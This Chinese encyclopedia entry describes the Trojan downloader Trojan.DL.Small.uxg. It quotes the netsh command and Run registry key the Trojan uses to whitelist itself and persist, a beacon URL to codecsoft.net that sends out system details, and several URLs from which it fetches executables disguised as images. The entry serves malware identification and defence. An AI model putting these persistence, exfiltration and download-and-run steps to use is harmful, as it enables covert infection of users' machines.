请输入您要查询的百科知识:

 

词条 Trojan.DL.Small.uxg
释义

该病毒调用命令"netsh firewall set allowedprogram '病毒程序文件全名' enable",通过windows的防火墙,复制自己为%system%\\kernels32.exe,并添加以下注册表键值来达到自动运行:HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\Currentversion\\Run "System" = %SYSTEM%\\KERNELS32.EXE

发送http请求,将宿主系统的语言、处理器、系统版本等信息发出:http://codecsoft.net/adv/086/adload.php?a1=People's Republic of China&a2=Type of Processor: PENTIUM PRO or ENTIUM II/III&a3=Windows version is 5.0&a4=Build: 2195, Platform ID: 2&a5=notoutpost&table=adv86

启动多个线程并尝试下载以下等文件:

http://codecsoft.net/pic/search.jpg

http://codecsoft.net/pic/search.jpg

http://codecsoft.net/pic/tibs.jpg

http://codecsoft.net/pic/proxy.jpg

http://codecsoft.net/pic/winlogon.jpg

用以下等地址下载exe、dll等文件:

http://codecsoft.net/ew4t54th3t456wt34567.php?adv=86&code1=IN0H&code1=2160

http://codecsoft.net/34gfrfdsfghgretytrer5t65rerfgjh/adv86.php?adv=86&code1=IN0H&code2=2160&code3=

下载的文件保存为%SYSTEM%\\dlh9jkd1q1.exe、%SYSTEM%\\dlh9jkd1q2.exe、%SYSTEM%\\1.dllb、%SYSTEM%\\2.dllb等。启动下载的exe文件,并在HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\Currentversion\\Run下为每个建立键值以便自动运行。

http://hi.baidu.com/zonga

随便看

 

百科全书收录4421916条中文百科知识,基本涵盖了大多数领域的百科知识,是一部内容开放、自由的电子版百科全书。

 

Copyright © 2004-2023 Cnenc.net All Rights Reserved
更新时间:2025/3/15 23:00:06